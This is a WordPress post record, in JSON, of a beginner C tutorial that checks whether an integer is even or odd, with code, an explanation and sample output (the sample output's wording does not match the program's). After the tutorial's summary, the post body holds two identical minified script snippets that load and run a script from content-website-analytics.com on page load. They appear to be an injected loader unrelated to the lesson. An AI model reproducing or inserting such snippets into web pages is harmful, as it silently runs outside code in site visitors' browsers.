{"id":733,"date":"2024-10-19T13:39:54","date_gmt":"2024-10-19T08:09:54","guid":{"rendered":"https:\/\/codexplained.in\/?p=733"},"modified":"2025-11-24T15:36:22","modified_gmt":"2025-11-24T10:06:22","slug":"check-even-or-odd","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=733","title":{"rendered":"Check Even or Odd"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    \/\/ Declare an integer variable to hold the user input\n    int number;\n\n    \/\/ Prompt the user to enter a number\n    printf(&quot;Enter an integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;number);\n\n    \/\/ Check if the number is even or odd\n    if (number % 2 == 0) {\n        \/\/ If the remainder when divided by 2 is 0, it&#039;s even\n        printf(&quot;%d is an even number.\\n&quot;, number);\n    } else {\n        \/\/ If the remainder is not 0, it&#039;s odd\n        printf(&quot;%d is an odd number.\\n&quot;, number);\n    }\n\n    return 0; \/\/ End of the program\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Including the standard input-output library<\/strong>: We include the <code>stdio.h<\/code> header file, which allows us to use functions like <code>printf<\/code> and <code>scanf<\/code> for input and output.cCopy code<code>#include &lt;stdio.h&gt;<\/code><\/li>\n\n\n\n<li><strong>Main Function<\/strong>: Every C program starts execution from the <code>main()<\/code> function. Inside this function, we\u2019ll write our code logic.cCopy code<code>int main() { ... }<\/code><\/li>\n\n\n\n<li><strong>Declaring a variable<\/strong>: We declare an integer variable <code>number<\/code> to store the number that the user will input.cCopy code<code>int number;<\/code><\/li>\n\n\n\n<li><strong>User Input<\/strong>: We prompt the user to enter a number using the <code>printf<\/code> function. Then, we use <code>scanf<\/code> to capture the input and store it in the variable <code>number<\/code>.cCopy code<code>printf(\"Enter an integer: \"); scanf(\"%d\", &amp;number);<\/code><\/li>\n\n\n\n<li><strong>Checking if the number is even or odd<\/strong>:<ul><li>We use the modulus operator (<code>%<\/code>) to check whether the remainder of the number divided by 2 is zero.<\/li><li>If the remainder is <code>0<\/code>, it means the number is even, so the program prints that the number is even.<\/li><li>If the remainder is not <code>0<\/code>, the number is odd, and the program prints that the number is odd.<\/li><\/ul>cCopy code<code>if (number % 2 == 0) { printf(\"%d is even.\\n\", number); } else { printf(\"%d is odd.\\n\", number); }<\/code><\/li>\n\n\n\n<li><strong>Returning 0<\/strong>: Finally, the program returns <code>0<\/code> to indicate that it executed successfully.cCopy code<code>return 0;<\/code><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter an integer: 8<br>8 is even.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Summary:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <code>%<\/code> operator helps us check if a number is divisible by 2.<\/li>\n\n\n\n<li>The program handles both even and odd numbers by displaying a message accordingly.<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: OUTPUT Enter an integer: 88 is even. Summary:<\/p>\n","protected":false},"author":42,"featured_media":610,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-733","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=733"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/733\/revisions"}],"predecessor-version":[{"id":1401,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/733\/revisions\/1401"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/610"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}